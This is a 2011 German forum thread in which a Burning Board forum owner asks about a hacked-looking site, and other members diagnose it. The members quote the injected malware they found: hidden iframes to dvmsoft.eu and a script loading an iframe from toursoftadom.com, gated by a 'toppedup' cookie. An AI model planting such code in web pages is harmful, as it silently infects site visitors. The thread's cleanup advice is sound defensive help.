You are not logged in.

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

1

Thursday, December 22nd 2011, 6:05pm

Gehackt?

Hallo erstmal, :)

Seit heute morgen hatte ich Besuch von unzähligen Spam Robots 8)

Als ich eben mein Forum aufmachte ging der Stile nicht mehr ( verschoben ) usw. Habe nun schnell einen ander installiert und bemerkt das mir nur die Beiträge und Themen, unter Ankündungen und wichtige Themen irgendwie verändert wurden ??? Erscheine seltsame Zeichen :D aber wenn man auf den Beitrag klickt kann man ihn wieder lesen. Wie kann ich das evtl. wiederherstellen ohne die Beiträge zu löschen ?? Alle anderen Beiträge erscheinen normal.

Hier mal der Link zum Forum:

http://das-leben-im-allgemeinen.de/index…Board&boardID=2

Gruß Kurt

This post has been edited 1 times, last edit by "truk" (Dec 22nd 2011, 6:15pm)


2

Thursday, December 22nd 2011, 6:20pm

Hast du was im Board Template geändert? Sieht mir nach einem Syntaxfehler aus (nicht geschlossener <..> z.B.)

3

Thursday, December 22nd 2011, 6:23pm

Hmm, da ist ein iFrame mit Link zu http://dvmsoft.eu drin :huh:

<iframe frameborder=0 height=1 width=1 scrolling=no src="http://dvmsoft.eu/index.html">


„Gorgeous designs. We did it. You'll love it.“

nmichel

Member

Posts: 497

Occupation: Bitschieber

  • Send private message

4

Thursday, December 22nd 2011, 6:32pm

und dieses

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script src="http://www.dvmsoft.eu/newsa.js" type="text/javascript">
function U()
{
var l00='';
var domain='toursoftadom.com';
var stream='2';
try{new ActiveXObject('dc');}
catch(e){l00=document.createElement('div');}
l00.id='myhidediv';
l00.style.cssText='position:absolute;width:10px;height:10px;top:0px;left:0px;z-index:-100;visibility:hidden;';
l00.innerHTML="<iframe src='http://"+domain+"/in.cgi?"+stream+"'></iframe>";
document.body.appendChild(l00);
}
if(!window.NOREPEAT)
var NOREPEAT=setInterval(function f()
{
if(document.body)
{
clearInterval(NOREPEAT);
U();
}
},500);
</script>
Der Kopf ist rund, damit das Denken die Richtung wechseln kann (Francis Picabia)

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

5

Thursday, December 22nd 2011, 6:33pm

Hallo

Danke für die Antworten.

Der Link erschien erst vorhin. Keine Ahnung wo der plötzlich her kommt.

Template hatte ich nicht geändert nur den Stile letzte Woche. Aber ging ja die ganze Zeit??

Das ganze ist erst nachdem ich seit heute morgen bis heute nachmittag jede Menge Besuch von Spam Besuchern hatte. Habe sofort die Box geschlossen bevor Sie die mir zu müllen.

Seltsam war nur das ist nur unter Ankündigungen und Wichtige Themen passiert ist. Habe schon einige "gelöst" hilft aber auch nix.

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

6

Thursday, December 22nd 2011, 6:42pm

Wenn ich die Beiträge und Themen lösche funktioniert alles bestens.

Möchte aber gerne die Beiträge behalten. :)

helga

Member

  • "helga" is male

Posts: 5,558

Location: Merseburg

  • Send private message

7

Thursday, December 22nd 2011, 6:51pm

schau in deine index.php nach, dort wird dieses Script sicher enthalten sein.
Falls das der Fall sein sollte, dem Serveradmin bescheid sagen und dein Passwörter ändern.

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

8

Thursday, December 22nd 2011, 6:56pm

Ok Danke.

Werde das mal machen. :)

9

Thursday, December 22nd 2011, 7:01pm

Mein Virenscanner schlägt übrigens Alarm, wenn ich deine Seite betrete.

nmichel

Member

Posts: 497

Occupation: Bitschieber

  • Send private message

10

Thursday, December 22nd 2011, 7:03pm

google mal nach set_cookie('toppedup' - du bist nicht alleine 8o

Ein Link geht nach Litauen - ich würde an Deiner Stelle die Seite solange in den Wartungsmodus setzen bis die Ursache geklärt ist!
Der Kopf ist rund, damit das Denken die Richtung wechseln kann (Francis Picabia)

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

11

Thursday, December 22nd 2011, 7:16pm

Hallo Zusammen

Habe nochmal alles gescheckt :)

Glaube habe den Fehler gefunden: Plugin User Google+ Profil. :thumbdown:

Nachdem ich alles nochmal aktualisiert hatte usw.Bin ich zu den Zeitgesteuerten Aufgaben. Da stand ein "riesen Fehler". Habe Goggle Plus nun Deinstalliert und es scheint zu funzen.

Hoffe es war doch kein Häcker, denn wie gesagt hatte ich seit Heute morgen Besuch ( 75 auf einmal ) der anderen Art.Habe nun mal probiert die Beiträge "Wichtige usw" oben anzuheften .... es funzt ... :D

Erstmal viele Dank für Eure Hilfe.

Gruß Kurt

nmichel

Member

Posts: 497

Occupation: Bitschieber

  • Send private message

12

Thursday, December 22nd 2011, 7:23pm

schau auch noch mal in die ./templates/Index.tpl - dort steht er noch nach dem [/html]-Tag...
Der Kopf ist rund, damit das Denken die Richtung wechseln kann (Francis Picabia)

helga

Member

  • "helga" is male

Posts: 5,558

Location: Merseburg

  • Send private message

13

Thursday, December 22nd 2011, 7:28pm

schau auch noch mal in die ./templates/Index.tpl - dort steht er noch nach dem [/html]-Tag...

wie ich oben schon sagte, wird dieser Code eher in der index.php liegen, welche über FTP zu erreichen ist.

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

14

Thursday, December 22nd 2011, 7:29pm

Danke Euch

es funzt wieder.

:thumbsup: :thumbsup: :thumbsup:

:) :) :) :) :) :)

nmichel

Member

Posts: 497

Occupation: Bitschieber

  • Send private message

15

Thursday, December 22nd 2011, 7:40pm

Hmm,

selbst wenn es offensichtlich "funktioniert" - da ist immer noch etwas, das einen Bezug zu dem oben beschrieben hat?

Ich möchte ja keine Panik machen, aber was soll set_cookie('toppedup', '1010101');?

Gerade eben von der Seite kopiert:

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</div>
	<div class="border loginPopup hidden" id="quickLoginBox">
		<form method="post" action="index.php?form=UserLogin" class="container-1">
			<div>
				<input tabindex="1" type="text" class="inputText" id="quickLoginUsername" name="loginUsername" value="Benutzername" title="Benutzername" />
				<input tabindex="2" type="password" class="inputText" id="quickLoginPassword" name="loginPassword" value="" title="Kennwort" />
				<input type="hidden" name="url" value="/index.php?page=Index&amp;s=8e51829618aaf35561e29e5c7606047d0fa07e27" />								<input tabindex="4" type="image" class="inputImage" src="wcf/icon/submitS.png" alt="Absenden" />
			</div>
			<p><label><input tabindex="3" type="checkbox" id="useCookies" name="useCookies" value="1" /> Dauerhaft angemeldet bleiben?</label></p>

		</form>
	</div>

</body>
</html><script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://dvmsoft.eu/index.html"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
Der Kopf ist rund, damit das Denken die Richtung wechseln kann (Francis Picabia)

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

16

Thursday, December 22nd 2011, 7:51pm

Ich habe keine Ahnung

was das bedeutet ?(

Gruß Kurt
nun seh ich das unten rechts :)

Wie bekomme ich das wech ?(
Mein Virenscanner schlägt übrigens Alarm, wenn ich deine Seite betrete.

nmichel

Member

Posts: 497

Occupation: Bitschieber

  • Send private message

17

Thursday, December 22nd 2011, 8:06pm

setze dich mal in dein WBB-Verzeichnis und suche mit fgrep -r -l toppedup *
- dann hast Du schon mal die Dateien in denen es drin steht...
Der Kopf ist rund, damit das Denken die Richtung wechseln kann (Francis Picabia)

18

Thursday, December 22nd 2011, 8:08pm

Nutze für zusätzliche Informationen bitte in Zukunft die Bearbeiten-Funktion, wenn seither kein anderer Benutzer geschrieben hat, um Doppelposts zu vermeiden.
Mit freundlichen Grüßen
Best regards
KittBlog Stile - Ihr Kit für Stile, Software und Knowhow
Your kit for styles, software and knowhow
Erste Linkliste zu Erweiterungen und Support rund um Burning Board©
First linklist for plugins and support around Burning Board©

19

Thursday, December 22nd 2011, 8:09pm

Immer noch ???

Nein. Was aber nicht heißen muss, dass deine Seite nun wieder komplett sauber ist.

truk

Member

  • "truk" is male
  • "truk" started this thread

Posts: 19

Location: Offenbach

  • Send private message

20

Thursday, December 22nd 2011, 8:09pm

Und dann ???

Löschen ???

Da trau ich mich nicht ran :D Hatte so etwas schonmal gemacht "plumps" Forum ade :D

Bin kein "Fachmann" kann mir nur in kleinen Dingen helfen. :)
Nutze für zusätzliche Informationen bitte in Zukunft die Bearbeiten-Funktion
Gruß Kurt

Similar threads